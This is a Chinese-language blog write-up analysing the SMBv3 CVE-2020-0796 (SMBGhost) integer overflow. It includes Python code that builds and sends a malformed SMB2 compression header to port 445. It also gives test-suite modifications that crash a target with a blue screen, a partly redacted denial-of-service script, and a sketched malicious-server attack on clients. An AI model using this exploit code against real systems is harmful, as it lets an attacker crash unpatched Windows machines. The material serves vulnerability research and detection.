SMBv3远程代码执行漏洞(CVE-2020-0796)分析

前言

2020.03.11 凌晨左右, 微软泄露一个SMB远程代码执行漏洞(CVE-2020-0796), 根据该漏洞描述是 CompressionTransformHeader 的使用出现了问题。
2020.03.11 胖虎弟作为一个纯Web狗, 只知道SMB走445端口能开文件共享服务,可是通过简单的搜索发现这个漏洞复现应该很简单,于是尝试写出溢出POC。

本文是偏向Web狗的视角去描述一次发掘并利用二进制漏洞的过程,给大家图一乐

前期信息收集

2020.03.11 刚拿到这个漏洞信息去google了一下(SMB3 deCompression)
https://www.mail-archive.com/cifs-protocol@lists.samba.org/msg00639.html
这个链接很有意思
花了半天时间把邮件看了一下, 收集到如下信息
1.这个洞是smb 3.1.1才有
2.可能跟 lz77 压缩算法解密代码有关系
3.问题提出者 Aurélien Aptel 是 这个SUSE Labs Samba 团队的, 并且把修复后的代码贡献到wireshark里面了
4.这个问题在2019年7月15号就提出了
5.影响 the latest Windows Server 2019 (应该是截止当时2019.07.15)

lz77解密算法可能存在问题?


先测试这个出了问题的lz77解密算法
[MS-XCA]: Processing | Microsoft Docs
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-xca/34cb9ab9-5ce6-42d7-a518-107c1c7c65e7

lz77 deCompression算法的Python实现 (根据当时错误的 MS-XCA 伪代码)
https://ideone.com/7Lr6tN

这里存在一处错误, 缺少对 4-bytes的校验

修复后的代码如下

#!/usr/bin/env python3
from pprint import pprint as P
import struct


def test(data_in, data_out):
    print("==========================")
    print("IN: %s" % data_in)
    try:
        r = decode(data_in)
    except:
        print("ERR: exception during decoding")
    else:
        print("FINAL OUT: %s" % r)
        if r == data_out:
            print("MATCH")
        else:
            print("ERR: decompressed output doesnt match %d %d" % (len(r), len(data_out)))


def main():
    test(bytes.fromhex(" ff ff ff 1f 61 62 63 17 00 0f ff 26 01"),
         b'abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabc' +
         b'abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabc' +
         b'abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabc' +
         b'abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabc' +
         b'abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabc')

    test(bytes.fromhex('ff ff ff 7f ff 07 00 0f ff 00 00 fc ff 01 00'),
         b'\xff' * (1024 * 128))


def decode(ibuf):
    obuf = bytearray()
    BufferedFlags = 0
    BufferedFlagCount = 0
    InputPosition = 0
    OutputPosition = 0
    LastLengthHalfByte = 0

    def output(x):
        obuf.append(x)
        # print("OUT: %02x"%x)

    while True:
        if BufferedFlagCount == 0:
            # Read 4 bytes at InputPosition
            BufferedFlags = struct.unpack_from('<I', ibuf, InputPosition)[0]
            InputPosition += 4
            BufferedFlagCount = 32
        BufferedFlagCount = BufferedFlagCount - 1
        if (BufferedFlags & (1 << BufferedFlagCount)) == 0:
            # Copy 1 byte from InputPosition to OutputPosition.  Advance both.
            output(ibuf[InputPosition])
            InputPosition += 1
            OutputPosition += 1
        else:
            if InputPosition == len(ibuf):
                # Decompression is complete.  Return with success.
                return obuf
            # Read 2 bytes from InputPosition
            MatchBytes = struct.unpack_from('<H', ibuf, InputPosition)[0]
            InputPosition += 2
            MatchLength = MatchBytes % 8
            MatchOffset = (MatchBytes // 8) + 1
            if MatchLength == 7:
                if LastLengthHalfByte == 0:
                    # read 1 byte from InputPosition
                    MatchLength = ibuf[InputPosition]
                    MatchLength = MatchLength % 16
                    LastLengthHalfByte = InputPosition
                    InputPosition += 1
                else:
                    # read 1 byte from LastLengthHalfByte position
                    MatchLength = ibuf[LastLengthHalfByte]
                    MatchLength = MatchLength / 16
                    LastLengthHalfByte = 0
                if MatchLength == 15:
                    # read 1 byte from InputPosition
                    MatchLength = ibuf[InputPosition]
                    InputPosition += 1
                    if MatchLength == 255:
                        # read 2 bytes from InputPosition
                        MatchLength = struct.unpack_from('<H', ibuf, InputPosition)[0]
                        InputPosition += 2
                        if MatchLength == 0:
                            MatchLength = struct.unpack_from('<H', ibuf, InputPosition)[0]
                            InputPosition += 4
                        if MatchLength < 15 + 7:
                            raise Exception("error")
                        MatchLength -= (15 + 7)
                    MatchLength += 15
                MatchLength += 7
            MatchLength += 3
            # print(MatchLength)
            for i in range(int(MatchLength)):  # i = 0 to MatchLength - 1:
                # Copy 1 byte from OutputBuffer[OutputPosition - MatchOffset]
                output(obuf[OutputPosition - MatchOffset])
                OutputPosition += 1


def encode(symbols):
    Flags = 0
    FlagCount = 0
    FlagOutputPosition = 0
    OutputPosition = 0
    LastLengthHalfByte = 0

    buffer = bytearray()

    def output(x):
        buffer.append(x)
        # print("OUT: %02x"%x)

    for symbol in symbols:
        if isinstance(symbol ,''):
            pass

if __name__ == '__main__':
    main()

这里 bytes.fromhex('ff ff ff 7f ff 07 00 0f ff 00 00 fc ff 01 00') 通过lz77 decode 就可以解码出来 65536个字节, 我开始一直以为是这里溢出的(其实不是,但是这里会跑出异常)

这里就猜测, 是不是可以发送这个包让smb服务器解密然后报错退出

按照这个思路, 后面就需要构造smb的数据包了, 想了想得去找一个Python实现的smb客户端(方便修改操作,tomcat ajp LFI当时就是这么挖出来的)和windows Server 2019 1909的测试环境

于是就先虚拟机安装了windows Server 2019 1909

ed2k://|file|cn_windows_10_consumer_editions_version_1909_updated_jan_2020_x64_dvd_47161f17.iso|5417457664|274FEBA5BF0C874C291674182FA9C851|/

尝试构造SMB数据包

然后去github搜索smb3的相关Python实现,找到几个相关的项目
https://github.com/jborean93/smbprotocol
https://github.com/SecureAuthCorp/impacket/blob/master/impacket/smbconnection.py
https://github.com/miketeo/pysmb
https://github.com/vphpersson/smb

然后过滤了一下是否包含Compression/smb3.1.1也就剩下

https://github.com/vphpersson/smb
https://github.com/jborean93/smbprotocol

相对比较有希望, 然后知道继续深入了解到是COMPRESSION_TRANSFORM_HEADER这个关键字段

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/1d435f21-9a21-4f4c-828e-624a176cf2a0#Appendix_A_Target_69

然后继续github搜索,发现一个微软实现的测试集,这里包含了所有的相关测试

https://github.com/microsoft/WindowsProtocolTestSuites/blob/d78a8339ec98cbd79efb0bd4ec6938440ca3c7a0/ProtoSDK/MS-SMB2/Packets/Smb2CompressedPacket.cs

因为对微软的这套很不熟,2020.03.11装了一晚上跑起来了但是也不太会用,所以继续研究使用 https://github.com/jborean93/smbprotocol

smbprotocol里面有些地方相对比较清晰,可以自己操作一些数据, 构建数据包
比如smbprotocol/examples/low-level/file-management.py

查看 https://github.com/microsoft/WindowsProtocolTestSuites/commit/631824e4f1077d3b73483afb2c425c5883c84c8b

发现微软几天前刚刚更新lz77的解密算法, 所以以为这里有漏洞(虽然后面发现关键漏洞函数不在这里)

后来搜索 lz77 pcap, 碰碰运气,结果发现 wireshark 已经存在 lz77的smb pcap包提供了,下载分析

https://github.com/wireshark/wireshark/blob/master/test/captures/smb311-lz77-lz77huff-lznt1.pcap.gz

尝试构造 SMB2CompressionTransformHeader

然后根据 smbprotocol.connection.Connection.connect 中的相关代码,以及smbprotocol.connection.SMB2TransformHeader

SMB2TransformHeader

class SMB2TransformHeader(Structure):
    """
    [MS-SMB2] v53.0 2017-09-15

    2.2.41 SMB2 TRANSFORM_HEADER
    The SMB2 Transform Header is used by the client or server when sending
    encrypted message. This is only valid for the SMB.x dialect family.
    """

    def __init__(self):
        self.fields = OrderedDict([
            ('protocol_id', BytesField(
                size=4,
                default=b"\xfdSMB"
            )),
            ('signature', BytesField(
                size=16,
                default=b"\x00" * 16
            )),
            ('nonce', BytesField(size=16)),
            ('original_message_size', IntField(size=4)),
            ('reserved', IntField(size=2, default=0)),
            ('flags', IntField(
                size=2,
                default=1
            )),
            ('session_id', IntField(size=8)),
            ('data', BytesField())  # not in spec
        ])
        super(SMB2TransformHeader, self).__init__()

参考文档
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/1d435f21-9a21-4f4c-828e-624a176cf2a0

可以尝试构造 SMB2CompressionTransformHeader

SMB2CompressionTransformHeader

class SMB2CompressionTransformHeader(Structure):
    def __init__(self):
        self.fields = OrderedDict([
            ('protocol_id', BytesField(
                size=4,
                default=b"\xfcSMB"
            )),
            ('OriginalCompressedSegmentSize', IntField(
                size=4,
                default=0x00
            )),
            ('CompressionAlgorithm', IntField(
                size=2,
                default=0x0002
            )),
            ('Flags', IntField(
                size=2,
                default=0x0000 #其实漏洞点在这里
            )),
            ('Length', IntField(
                size=4,
                default=0x00
            )),

        ])
        super(SMB2CompressionTransformHeader, self).__init__()

可以构造出来一个符合 smbv3.1.1 CompressionTransformHeader的包

import uuid
from collections import OrderedDict
import socket

from smbprotocol import Commands

from smbprotocol.connection import *

from smbprotocol.structure import BytesField, IntField, Structure
#!/usr/bin/env python3
from pprint import pprint as P
import struct


def decode(ibuf):
    obuf = bytearray()
    BufferedFlags = 0
    BufferedFlagCount = 0
    InputPosition = 0
    OutputPosition = 0
    LastLengthHalfByte = 0

    def output(x):
        obuf.append(x)
        # print("OUT: %02x"%x)

    while True:
        if BufferedFlagCount == 0:
            # Read 4 bytes at InputPosition
            BufferedFlags = struct.unpack_from('<I', ibuf, InputPosition)[0]
            InputPosition += 4
            BufferedFlagCount = 32
        BufferedFlagCount = BufferedFlagCount - 1
        if (BufferedFlags & (1 << BufferedFlagCount)) == 0:
            # Copy 1 byte from InputPosition to OutputPosition.  Advance both.
            output(ibuf[InputPosition])
            InputPosition += 1
            OutputPosition += 1
        else:
            if InputPosition == len(ibuf):
                # Decompression is complete.  Return with success.
                return obuf
            # Read 2 bytes from InputPosition
            MatchBytes = struct.unpack_from('<H', ibuf, InputPosition)[0]
            InputPosition += 2
            MatchLength = MatchBytes % 8
            MatchOffset = (MatchBytes // 8) + 1
            if MatchLength == 7:
                if LastLengthHalfByte == 0:
                    # read 1 byte from InputPosition
                    MatchLength = ibuf[InputPosition]
                    MatchLength = MatchLength % 16
                    LastLengthHalfByte = InputPosition
                    InputPosition += 1
                else:
                    # read 1 byte from LastLengthHalfByte position
                    MatchLength = ibuf[LastLengthHalfByte]
                    MatchLength = MatchLength / 16
                    LastLengthHalfByte = 0
                if MatchLength == 15:
                    # read 1 byte from InputPosition
                    MatchLength = ibuf[InputPosition]
                    InputPosition += 1
                    if MatchLength == 255:
                        # read 2 bytes from InputPosition
                        MatchLength = struct.unpack_from('<H', ibuf, InputPosition)[0]
                        InputPosition += 2
                        if MatchLength == 0:
                            MatchLength = struct.unpack_from('<H', ibuf, InputPosition)[0]
                            InputPosition += 4
                        if MatchLength < 15 + 7:
                            raise Exception("error")
                        MatchLength -= (15 + 7)
                    MatchLength += 15
                MatchLength += 7
            MatchLength += 3
            # print(MatchLength)
            for i in range(int(MatchLength)):  # i = 0 to MatchLength - 1:
                # Copy 1 byte from OutputBuffer[OutputPosition - MatchOffset]
                output(obuf[OutputPosition - MatchOffset])
                OutputPosition += 1


class SMB2CompressionTransformHeader(Structure):
    def __init__(self):
        self.fields = OrderedDict([
            ('protocol_id', BytesField(
                size=4,
                default=b"\xfcSMB"
            )),
            ('OriginalCompressedSegmentSize', IntField(
                size=4,
                default=0x00
            )),
            ('CompressionAlgorithm', IntField(
                size=2,
                default=0x0002
            )),
            ('Flags', IntField(
                size=2,
                default=0x0000
            )),
            ('Length', IntField(
                size=4,
                default=0x00
            )),

        ])
        super(SMB2CompressionTransformHeader, self).__init__()


# 这里填充的是从wireshark里面抠出来已经lz77编码过的数据
header_actual = b'\xb0\x82\x88\x00\xfe\x53\x4d\x42\x40\x00\x01\x00\x01\x00\x08\x00\x0a\x4c\x00\x00\x00\x06\x8a\x00\x00\x00\xff\xfe\x00\x9a\x00\x6d\x79\x00\x10\xa4\x00\x37\x00\x11\x11\x00\x50\x00\xff\xff\xff\x5f\x00\xbf\x00\x61\x07\x00\x0f\xff\xfc\x0f'
print(header_actual)
print(len(header_actual))
print("--"*20)

message = SMB2CompressionTransformHeader()
message['OriginalCompressedSegmentSize'] = len(decode(header_actual))
message['Length'] = 0xffffffff
actual = message.pack()
print(message)
msg_body_len = len(actual + header_actual)
print(msg_body_len)
L = bytes.fromhex(hex(msg_body_len)[2:])
print(L)
nbss = b'\x00' + b'\x00' * (3-len(L)) + L
print(nbss)

smb_payload = nbss + actual + header_actual
s = socket.socket(2, 1)
s.connect(("192.168.38.136", 445))
s.send(smb_payload)
buff_res = s.recv(4096)
print(buff_res)
s.close()

微软补丁发布&补丁对比细节公开

2020.03.12日夜间微软发布了对应的补丁, 2020.03.13 凌晨陆续纰漏相关补丁对比细节

https://www.synacktiv.com/posts/exploit/im-smbghost-daba-dee-daba-da.html

这里提到我之前发现的 微软Windows协议测试包

https://github.com/microsoft/WindowsProtocolTestSuites/blob/d78a8339ec98cbd79efb0bd4ec6938440ca3c7a0/ProtoSDK/MS-SMB2/Packets/Smb2CompressedPacket.cs

到这里我已经看了1,2天的smb协议了,大概知道是怎么回事了, 我大方向是还是对的

通过 WindowsProtocolTestSuites 构造SMB数据包

这里修改 Smb2Compression 中的 compressedPacket.Header.Offset0xffffffff 即可, 然后本地再次启动 WindowsProtocolTestSuites

安装依赖可以使用 WindowsProtocolTestSuites\InstallPrerequisites\InstallPrerequisites.ps1

这里会帮你安装 vs2017或者vs2019

启动项目,选择
\WindowsProtocolTestSuites

然后在解决方案管理器中点击

\WindowsProtocolTestSuites\TestSuites\FileServer\src\FileServer.sln

调出测试资源管理器,得到如下界面

如果运行报错可以把如下代码注释掉,这是个检测系统版本的判断条件,对测试没有影响

// Check platform
/* if (TestConfig.IsWindowsPlatform)
{
BaseTestSite.Assume.IsFalse(TestConfig.Platform < Platform.WindowsServerV1903, "Windows 10 v1809 operating system and prior, Windows Server v1809 operating system and prior, and Windows Server 2019 and prior do not support compression.");
}*/

另外还需要修改一处测试config文件 (可以搜索 192.168.1.11查找)

\WindowsProtocolTestSuites\TestSuites\FileServer\src\Common\TestSuite\CommonTestSuite.deployment.ptfconfig

这是本次测试的配置文件,修改对应的选线为目标靶机即可,密码最好填正确的, 比较方便抓包测试(有些测试步骤需要认证,方便wireshark抓包),其实不需要密码

然后修改\WindowsProtocolTestSuites\ProtoSDK\MS-SMB2\Common\Smb2Compression.cs 中的compressedPacket.Header.Offset = 0xffffffff;

找到 Microsoft.Protocols.TestSuites.FileSharing.SMB2.TestSuite.Compression.BVT_SMB2Compression_LZ77 运行测试

这里打开wireshark抓包,若是虚拟机是nat模式的话,选择抓vnet8网卡

这里一共2个请求包一个响应包, 此时win10测试靶机已经蓝屏

因为这里微软测试包发包时使用了smb签名,所以不能重放,所以按照smb2 通信图猜测,只需要一个协商包一个压缩包即可实现dos

这里协商包从 https://github.com/ollypwn/SMBGhost 扣了出来,因为这里的smb协商包没有签名,然后我修改了加密算法为 lz77

然后追加一个lz77的压缩包

(这里POC仅能导致蓝屏, 没有其他攻击作用, 不要来检测漏洞)

# CVE-2020-0796 DOS EXP
import socket
s = socket.socket(2, 1)
s.connect(("192.168.38.136", 445))
print("send Negotiate.....")
smb_payload_1 = b'相关原因马赛克'
s.send(smb_payload_1)
buff_res = s.recv(4096)
print("send Payload.....")
smb_payload = b"相关原因马赛克"
s.send(smb_payload)
buff_res = s.recv(4096)
s.close()

大概逻辑是客户端先发送一个Negotiate包跟Smb server商议使用 lz77 加密传输后续消息(加密方式可能无关,但是这个比较好实现)

然后 再发送一个修改了offset的使用了 CompressionTransformHeader 的数据包

触发smb server中的整形溢出漏洞,然后Win10测试靶机崩溃蓝屏

攻击客户端

同样的原理, 诱导客户端访问 UNC格式路径也可以触发这个漏洞
这里构造一个恶意服务器, 等待客户端连接, 响应一个Negotiate包跟Smb clinet商议使用加密传输, 然后接收客户端下一个请求,再返回一个恶意的压缩包就ok,视频如下

DOS Pcap包

CVE-2020-0796_dos_exp

网传版本检测的POC补丁误报

检测POC pcap
https://github.com/ollypwn/SMBGhost/blob/master/SMBGhost.pcap

NEGOTIATE_CONTEXT 参考这里
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/15332256-522e-4a53-8cd7-0bd17678a2f7

可以看到协商请求包中NEGOTIATE_CONTEXT有2个,所以NegotiateContextCount为2

CAPABILITIES分别为SMB2_PREAUTH_INTEGRITY_CAPABILITIESSMB2_COMPRESSION_CAPABILITIES

如果服务器支持, 就会所以返回NEGOTIATE_CONTEXT为2, 所以POC检测协商返回包中的NegotiateContextCount是否为2,如果为2且smb支持3.1.1方言就认为目标有漏洞

但这里有个问题,如果目标打了smb补丁,这里还会返回NegotiateContextCount为2,所以目前的版本检测POC在目标打补丁后会有误报

作者:斗象能力中心 TCC – 小胖虎

评论(1)

刘能

2020/09/15 12:26
niubi

发表评论

captcha